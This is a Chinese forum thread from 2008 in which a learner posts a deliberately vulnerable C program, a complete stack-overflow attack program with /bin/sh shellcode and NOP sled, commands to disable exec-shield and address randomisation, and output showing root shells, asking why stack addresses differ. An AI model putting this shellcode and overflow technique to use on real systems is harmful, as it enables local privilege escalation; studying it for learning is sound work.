一个溢出程序的疑惑（gcc 4.1.2+FC7）

Question

一个有问题的程序：

1. 
   
2. /*
   
3. * test.c for test overflow under FC7 with gcc 4.1.2
   
4. * you must echo "0">/proc/sys/kernel/exec-shield
   
5. * you must  echo  "0">/proc/sys/kernel/randomize_va_space
   
6. */
   
7. 
   
8. long get_esp()
   
9. {
   
10.    __asm__("movl %esp,%eax");
    
11. }
    
12. void func(unsigned char *from)
    
13. {
    
14.         unsigned char dest[512];
    
15.         long esp;
    
16.         esp = get_esp();
    
17.         printf("esp : 0x%x\n",esp);//打印当前ESP内容
    
18.         strcpy(dest,from);//此处溢出
    
19. }
    
20. int main(int argc,char *argv[]){
    
21.         if(argc>1){
    
22.                 func(argv[1]);
    
23.         }
    
24.         return 0;
    
25. }
    

复制代码

攻击程序：

1. 
   
2. /*
   
3. * attacktest.c to attack test.c under FC7 with gcc 4.1.2
   
4. * you must echo "0">/proc/sys/kernel/exec-shield
   
5. * you must  echo  "0">/proc/sys/kernel/randomize_va_space
   
6. */
   
7. #include<stdio.h>
   
8. #include<stdlib.h>
   
9. 
   
10. unsigned char shellcode[] =
    
11.    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
    
12.    "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
    
13.    "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
14. long get_esp()
    
15. {
    
16.    __asm__("movl %esp,%eax");
    
17. }
    
18. 
    
19. main(int argc,char *argv[])
    
20. {
    
21.         int i =0;
    
22.         char *ptr;
    
23.         long *addr_ptr;
    
24.         long addr;
    
25.         int offset=0,bsize=700;
    
26.         unsigned char *buffer;
    
27. 
    
28.         if(argc>1) bsize = atoi(argv[1]);
    
29.         if(argc>2) offset = atoi(argv[2]);
    
30. 
    
31.         addr = get_esp() - offset;
    
32.         if(!(buffer=malloc(bsize))) {
    
33.                 printf("no enough memory!\n");
    
34.                 exit(0);
    
35.         }
    
36. 
    
37.         printf("esp : 0x%x\n",addr);//打印当前ESP内容
    
38.         ptr=buffer;
    
39.         addr_ptr=(long *)ptr;
    
40. 
    
41.         for(i=0;i<bsize;i+=4)
    
42.                 *(addr_ptr++)=addr;
    
43. 
    
44.         for(i=0;i<bsize/2;i++)
    
45.                 buffer[i]=0x90;
    
46. 
    
47.         ptr=buffer+bsize/2;
    
48.         for(i=0;i<strlen(shellcode);i++)
    
49.                 *(ptr++)=shellcode[i];
    
50. 
    
51.         buffer[bsize-1]='\0';
    
52. 
    
53.         execl("./test","test",buffer,0);
    
54.         free(buffer);
    
55.         return 0;
    
56. 
    
57. }
    

复制代码

对于attacktest.c的buffer的设计：|NOP.......NOP|shelllcode|ESP........ESP|,其中buffer的一半都是NOP
经过测试test.c被溢出的上限和下限分别是953和635（657为原先测试的下限，后来将test.c中大取ESP地址并打印的部分去掉了，下限就变成了635，后来又将打印ESP添上，下限仍然是635），我分析test.c堆栈结构如下(阴影部分不知道有什么用处)：

test1.png (11.14 KB, 下载次数: 1)

下载附件

2008-08-23 12:52 上传

假设attacktest.c中的buffer的长度为x,不考虑猜测EIP的偏差，shellcode长度为45，则必须满足：x/2+45<=512＋4＋4,则 x<=950，也就是NOP＋shellcode部分必须在buff1以内。考虑到buff2要覆盖buff1并覆盖其后的EIP,因此x> 512+4+4,即x>520,即：
在不考虑猜测EIP偏差的情况下：520<x<950

现在考虑猜测EIP偏差，分别测试边界情况的猜测EIP偏差：

[root@localhost muyin]# ./attacktest 953
esp : 0xbfffe418----------------------------------------------->attacktest.c
esp : 0xbfffde88----------------------------------------------->test.c
sh-3.2# exit
exit
[root@localhost muyin]# ./attacktest 657
esp : 0xbfffe418------------------------------------------------>attacktest.c
esp : 0xbfffdfa8------------------------------------------------->test.c
sh-3.2# exit
exit

可以看出attacktest.c中ESP的地址比test.c的ESP地址高1000多，那么覆盖test.c中的dest[512]后的返回地址就会比Ttest.c当前的ESP高出很多，就不会返回到dest去执行shellcode了。不解
另外，我编写程序打印ESP内容，发现GDB里调试的结果和单独执行不一样，而且在两个终端同时执行一个程序，结果也不一样。
高手说说linux下可执行程序刚开始的地址是怎么选取的吧？
对于

1. 
   
2. long get_esp()
   
3. {
   
4.    __asm__("movl %esp,%eax");
   
5. }
   
6. 
   
7. main()
   
8. {
   
9.         long esp;
   
10.         esp = get_esp();
    
11.         printf("%x\n",esp);
    
12. }
    

复制代码
在不同终端中运行的记过分别是bfffe448,bfffe3a8,bfffe468

Answer 1

anybody can help me?

Answer 2

这个 get_esp() 是不对的。
得到的只是下栈桢的值，不是当前esp的值，得到当前esp，应该在当前处嵌入汇编

Answer 3

嵌入汇编，我明天试一下，不过感觉还是有问题，因为test.c和attacktest.c的get_esp返回结果超过1000了；get_esp()得到的不是当前esp的值，我觉得，应该是当前esp-4，但是都-4的话应该相互抵消了啊？
详见：http://linux.chinaunix.net/bbs/thread-1026846-1-1.html

Answer 4

原帖由 ruger 于 2008-8-25 22:55 发表
嵌入汇编，我明天试一下，不过感觉还是有问题，因为test.c和attacktest.c的get_esp返回结果超过1000了；get_esp()得到的不是当前esp的值，我觉得，应该是当前esp-4，但是都-4的话应该相互抵消了啊？
详见：htt ...

你的程序感觉很乱，主贴又长又罗嗦， 所以，我基本没看你的贴子，只看了一眼 get_esp()

你最好把你的想法，意图清楚地表达出来